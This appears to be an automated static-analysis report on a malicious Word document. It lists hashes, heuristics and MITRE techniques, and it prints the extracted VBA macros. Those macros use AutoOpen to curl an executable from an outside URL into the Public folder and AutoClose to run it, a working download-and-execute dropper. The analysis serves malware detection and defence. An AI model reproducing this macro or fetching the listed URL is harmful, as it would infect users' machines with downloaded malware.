Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2b23c976b4aca2b9…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2021-05-28 13:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: e1ca6f10ddf7fd89288ddb23f865ed76 SHA-1: 6ebb8d37433b3d0d448508a762c9eff42ce99d60 SHA-256: 2b23c976b4aca2b9b61c474e0d6202644d97b48fa553cd6c9266c11b79d3cd13
342 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros with AutoOpen and AutoClose functions that execute shell commands. The AutoOpen macro attempts to download a file named 'mmaaccc.exe' from 'http://www.bookiq.bsnl.co.in/data_entry/circulars/mmaaccc.exe' and save it as 'a.exe' in the public user directory. The AutoClose macro then attempts to execute this downloaded file. The document body also contains a lure to enable editing and content, which is a common social engineering tactic.

Heuristics 8

  • ClamAV: Vbs.Downloader.Agent-9890025-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Vbs.Downloader.Agent-9890025-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bookiq.bsnl.co.in/data_entry/circulars/mmaaccc.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 515 bytes
SHA-256: 2d427d1455e2dc6026238905a31b07580b04639245c33b041a1e43ab9f485df0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub autoopen()
    Shell ("curl http://www.bookiq.bsnl.co.in/data_entry/circulars/mmaaccc.exe -o C:\Users\Public\a.exe")
End Sub
Sub autoclose()
    Shell ("C:\Users\Public\a.exe")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11264 bytes
SHA-256: 65b4338ad7a97c1d1ed5482fbb6229270618ac2873383de4574fb8e29553badf
Detection
ClamAV: Vbs.Downloader.Agent-9890025-0
Obfuscation or payload: unlikely

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